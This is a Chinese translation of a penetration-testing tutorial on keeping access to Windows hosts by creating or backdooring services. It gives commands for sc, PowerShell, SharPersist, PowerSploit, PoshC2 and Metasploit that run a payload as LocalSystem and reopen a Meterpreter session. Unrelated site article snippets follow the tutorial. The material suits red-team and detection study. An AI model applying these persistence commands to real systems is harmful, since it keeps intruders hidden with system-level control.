如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提升。创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术。然而,在红队的行动中,针对那些在威胁检测方面还不成熟的公司,可以用来制造进一步的干扰,企业应建立SOC能力,以识别在其恶意软件中使用基本技术的威胁。

命令行实现

如果帐户具有本地管理员特权,则可以从命令提示符创建服务。参数“ binpath ”用于执行任意有效负载,而参数“ auto ”用于确保恶意服务将自动启动。

sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto" obj="LocalSystem"
sc start pentestlab


CMD –创建服务

或者,可以直接从PowerShell创建新服务。

New-Service -Name "pentestlab" -BinaryPathName "C:\temp\pentestlab.exe" -Description "PentestLaboratories" -StartupType Automatic
sc start pentestlab

PowerShell持久性–新服务

在两种情况下,启动服务时都会打开Meterpreter会话。

Meterpreter –新服务

SharPersist

SharPersist支持在受感染系统中创建新服务的持久性技术。在系统上安装新服务需要提升的访问权限(本地管理员)。以下命令可用于添加新服务,该服务将在Windows启动期间作为本地系统执行任意有效负载。

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -n "pentestlab" -m add

SharPersist –添加服务

Meterpreter会话将再次建立,或者与任何其他能够与有效负载进行通信的命令和控制框架建立连接。

SharPersist –通过服务的计费器

PowerSploit

PowerSploit可用于对合法服务进行后门程序以实现持久性。可以利用两个PowerShell函数来修改现有服务的二进制路径,或者从先前手动创建的自定义服务中修改二进制路径,以执行任意有效负载。

Set-ServiceBinPath -Name pentestlab -binPath "cmd.exe /k C:\temp\pentestlab.exe"
Write-ServiceBinary -Name pentestlab -Command "cmd.exe /k C:\temp\pentestlab.exe"

PowerSploit –持久性

PoshC2

PoshC2还具有创建新服务作为持久性技术的能力。但是,将执行base-64 PowerShell负载,而不是任意可执行文件。从植入物处理机,以下模块将自动执行该技术。

install-servicelevel-persistence

PoshC2持久性–安装新服务

PoshC2将自动生成有效负载,并且该命令将在目标系统上执行以创建新服务。

PoshC2持久性–新服务

该服务将自动启动,并具有名称“ CheckpointServiceUpdater ”,以使其看起来合法。

PoshC2持久性–创建新服务

Metasploit

Metasploit框架具有一个后开发模块,该模块支持两种持久性技术。

  1. 注册表运行键
  2. 新服务

需要将启动变量修改为SERVICE,以便在系统上安装新服务。

use post/windows/manage/persistence_exe
set REXEPATH /tmp/pentestlab.exe
set SESSION 1
set STARTUP SERVICE
set LOCALEXEPATH C:\\tmp
run

Metasploit持久性模块–服务

需要Metasploit多重/处理程序模块来捕获有效负载并与受感染的主机建立Meterpreter会话。

Metasploit Meterpreter –通过新服务的持久性

译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

原文地址:https://pentestlab.blog/2019/10/07/persistence-new-service/

Window权限维持(三):服务的更多相关文章

  1. 应用程序-特定 权限设置并未向在应用程序容器不可用 SID (不可用)中运行的地址 LocalHost (使用 LRPC) 中的用户...的 COM 服务器应用程序的 本地 激活 权限。此安全权限可以使用组件服务管理工具进行修改。

    很久以前发现我们的业务服务器上出现一个System的系统严重错误,查找很久都没有找到解决办法,今日再次查看服务器发现报错更频繁,于是就搜集各种资料进行查找解决办法,终于找到了一个解决办法. 错误截图介 ...

  2. 微信JS-SDK使用权限签名算法的服务端实现(.net版本)

    原文:微信JS-SDK使用权限签名算法的服务端实现(.net版本) 一.概要 微信此次开放JS接口,开放了一大批api权限,即使在未认证的订阅号也可以使用图像接口,音频接口,智能接口,地理位置,界面操 ...

  3. [转]SharePoint 2010/2013 使用Javascript来判断权限的三种方法

    本文讲述SharePoint 2010/2013 使用Javascript来判断权限的三种方法的实现方式及其优缺点. 1. 根据用户所在的SharePoint组(比如用户在Leader 组才可以使用审 ...

  4. WebSocket安卓客户端实现详解(三)–服务端主动通知

    WebSocket安卓客户端实现详解(三)–服务端主动通知 本篇依旧是接着上一篇继续扩展,还没看过之前博客的小伙伴,这里附上前几篇地址 WebSocket安卓客户端实现详解(一)–连接建立与重连 We ...

  5. window如何安装redis服务、卸载redis服务和启动redis服务

    window如何安装redis服务.卸载redis服务和启动redis服务 一.总结 一句话总结:github上下载,解压,命令行运行(redis-server.exe redis.windows.c ...

  6. Window下PHP三种运行方式图文详解,window下的php是不是单进程的?

    Window下PHP三种运行方式图文详解,window下的php是不是单进程的? PHP运行目前为止主要有三种方式: a.以模块加载的方式运行,初学者可能不容易理解,其实就是将PHP集成到Apache ...

  7. 远程登录DSM,显示“您没有权限使用本项服务?

    远程登录DSM,显示“您没有权限使用本项服务?” https://www.chiphell.com/thread-825297-1-1.html 有可能你单位用的是多wan接入.一般synology不 ...

  8. SpringCloud Alibaba微服务实战三 - 服务调用

    导读:通过前面两篇文章我们准备好了微服务的基础环境并让accout-service 和 product-service对外提供了增删改查的能力,本篇我们的内容是让order-service作为消费者远 ...

  9. 获得Window窗口权限的三种方法

    1.第一种方法:利用视图控制器自带的View的window属性:  具体使用 self.view.window.rootViewController = ... 2.第二种方法:通过导入APPDele ...

随机推荐

  1. hive 标准hql建表语法格式

    一.标准hql建表语法格式1.官方标准语法:(hql不区分大小写,下面[]里的属性是可选属性) 具体参考官网界面:HIVE官网建表说明文档 CREATE [EXTERNAL] TABLE [IF NO ...

  2. git 配置远程仓库(同一个邮箱注册多个gitlab仓库)

    之前配置的全局用户和邮箱,如果是多个注册账户就不能设置为全局账户 git config --global user.name "username" git config --glo ...

  3. JS中的NaN和isNaN,简直是双重人格?

     number数字类型 包括数字和NaN,NaN:not a number 但是它是数字类型的   isNaN的用法:检测当前值是否不是有效数字,返回true代表不是有效数字,返回false是有效数字 ...

  4. 常用RGB颜色表 色值

    转自:http://blog.sina.com.cn/s/blog_7f422a8901019d8j.html   R G B 值   R G B 值   R G B 值 黑色 0 0 0 #0000 ...

  5. Xcode里面如何添加和配置pch文件??

    开发工具/原料: 1.Mac 2.Xcode(我这里目前用的Xcode的最新版本Xcode 7.3) PCH文件的部分发展史: 定义:pch全称为“precompiled header”,也就是预编译 ...

  6. iOS10 新特性一

    链接:http://www.jianshu.com/p/0cc7aad638d9 1.Notification(通知) 自从Notification被引入之后,苹果就不断的更新优化,但这些更新优化只是 ...

  7. 【转载】编程语言排行榜2019年7月 TIOBE编程语言排行榜2019年最新版

    TIOBE在前段时间公布了编程语言排行榜2019年7月的数据,编程语言7月的排名有了新的变化,Python继教占领第三名,Java还是稳居第一,C++本月又降了0.91%.下面一起来看看2019年7月 ...

  8. Java低配版简单的随机点名系统

    import java.util.*; public class Dome{ public static void addSname(String[] students){ Scanner sc = ...

  9. Linux实现免密码登录

    一.验证ssh远程登录,未作免密处理的两台机器,登录时,是需要输入密码的 二.本地系统执行 ssh-keygen -t rsa 命令,生成密钥文件 三.在相应的目录下查看生成的密钥文件,其中:id_r ...

  10. python如何拼接时间戳到写入的文件名中

    问题描述: 记录一下拼接文件名时间戳的过程,回顾下可能的问题所在,希望能帮到同样碰到这类问题的兄dei. 进行单元测试时,最后使用HTMLTestRunner生成的HTML分析报告,需要添加一个时间戳 ...